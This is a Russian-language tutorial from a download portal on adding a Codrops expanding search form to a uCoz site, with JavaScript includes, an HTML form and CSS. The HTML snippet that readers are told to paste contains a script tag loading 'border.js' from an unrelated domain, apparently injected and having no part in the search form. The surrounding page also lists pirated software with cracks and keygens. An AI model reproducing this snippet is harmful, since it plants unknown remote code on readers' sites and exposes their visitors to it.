Привет Гость | Главная | Форум | Связь с нами | Правообладателям Статистика | Регистрация | Вход
Общалочка

Наши партнеры
Создание и продвижение сайтов в Самаре
Мир природы, путешествия и туризм

Наш опрос
Какой браузер Вы используете?
Всего ответов: 472

Продвижение сайта

Создаём раздвижную форму поиска для uCoz бесплатно

Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
14:09
Скачать Создаём раздвижную форму поиска для uCoz бесплатно

Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>  
  <script src="http://pnghosts.ru/js_css/uisearch.js"></script>  
  <script>  
  new UISearch( document.getElementById( 'sb-search' ) );  
  </script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">  
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>  
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />  
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz  
  ------------------------------------------*/  
  .sb-search {  
  position: relative;  
  margin-top: 10px;  
  width: 0%;  
  min-width: 32px;  
  height: 32px;  
  float: right;  
  overflow: hidden;  
   
  -webkit-transition: width 0.3s;  
  -moz-transition: width 0.3s;  
  transition: width 0.3s;  
  -webkit-backface-visibility: hidden;  
  }  

  .sb-search-input {  
  position: absolute;  
  top: 0;  
  right: 0;  
   
  margin: 0;  
  z-index: 10;  
  width:300px;  
  height: 20px;  
  outline: none;  
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;  
   
  font:11px Verdana,Arial,Helvetica, sans-serif;  
  color:#555;  
  border-radius:3px 0px 0px 3px;  
  }  

  .sb-search-input::-webkit-input-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input:-moz-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input::-moz-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input:-ms-input-placeholder {  
  color: #efb480;  
  }  

  .sb-icon-search,  
  .sb-search-submit {  
  position: absolute;  
  right: 0;  
  top: 0;  
  margin: 0;  
   
  width: 32px;  
  height: 32px;  
  display: block;  

  line-height: 30px;  
  text-align: center;  
  cursor: pointer;  
  }  

  .sb-search-submit {  
  background: #fff;  
  color: transparent;  
  border: none;  
  outline: none;  
  z-index: -1;  
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
  }  

  .sb-icon-search {  
  border:none;  
  z-index: 90;  
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;  
  -webkit-font-smoothing: antialiased;  
  border-radius:3px 3px 3px 3px;  
  }  

  .sb-icon-search:before {  
  content: "\e000";  
  }  

  .sb-search.sb-search-open,  
  .no-js .sb-search {  
  width: 100%;  
  }  

  .sb-search.sb-search-open .sb-icon-search,  
  .no-js .sb-search .sb-icon-search {  
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;  
  z-index: 11;  
  border-radius:0px 3px 3px 0px;  
  }  

  .sb-search.sb-search-open .sb-search-submit,  
  .no-js .sb-search .sb-search-submit {  
  z-index: 90;  
  }


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

Скачать бесплатно:

Создаём раздвижную форму поиска для uCoz

Понравилось Создаём раздвижную форму поиска для uCoz ? Дай знать о ней другим!:)

Категория: Вебмастеру | Просмотров: 284 | Добавил: DoG | Рейтинг: 0.0/0

Смотрите на сайте:


Скачать бесплатно Безумцы / The Crazies (2010) смотреть онлайн, скачать
Категория: Фильмы
Просмотров: 469

Скачать бесплатно AVG Internet Security  2011 10.0.1390 Build 3758 (x86/x64)
Категория: Софт
Просмотров: 344

Скачать бесплатно Free Studio 5.0.4 RUS - редактирование и конвертирование видео и аудио
Категория: Софт
Просмотров: 534

Скачать бесплатно обои на рабочий стол
Категория: Картинки,обои,графика
Просмотров: 542

Скачать бесплатно O&O DiskImage Professional 5.0.117 x32/x64 bit + crack (keygen) - Скачать бесплатно
Категория: Софт
Просмотров: 457

Скачать бесплатно Триада - Шестое Чувство (2009)
Категория: Музыка
Просмотров: 519

Скачать бесплатно Третие Грани - Кременьчугский Style
Категория: Музыка
Просмотров: 636

Скачать бесплатно WinRAR 3.9 Русская версия X64, X86 скачать
Категория: Софт
Просмотров: 768

Скачать бесплатно V-Style - 2010 скачать бесплатно
Категория: Музыка
Просмотров: 488

Скачать бесплатно Master Cards(Мастер Открыток) Создать открытку!
Категория: Софт
Просмотров: 565

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня нас посетили:

Пользователи в online

Статистика
Яндекс цитирования

Наши друзья

Баннер сайта


Если наш сайт был вам полезен, вы можете отблагодарить нас разместив наш баннер у себя на сайте





Музыка онлайн
ВОВОЧКА&CO - встань с меня
[03.04.2010][Попса]
Baintermix - Ты и Я
[26.01.2010][Trance]
SanSay Vs NickBass - War
[21.02.2010][Drum N'Bass]
Дети мегаполиса - ssiD
[28.12.2009][Русский рэп]
Chelley - Took The Night (JM Project mix...
[19.05.2010][House]

Категории раздела
Фильмы [2697]
Музыка [7113]
Игры [5789]
Софт [11791]
Книги, Журналы [4287]
Клипы [783]
Мобильное,кпк,смарт [966]
Вебмастеру [105]
Картинки,обои,графика [1164]
Разное [907]
Скринсейверы [10]
Кисти [4]
Рамки [85]
Шрифты [1]
Шаблоны [187]
Клипарты [108]
Плагины [21]
Текстуры, фоны [1]
Заливки [0]
PSD исходники [7]
Градиенты [1]
Экшены [4]
Стили [0]
Уроки [1463]

Карта сайта © 2009-2011 portalDi.ru
Все материалы, размещенные на сайте, принадлежат соответствующим правообладателям и размещены исключительно в ознакомительных целях.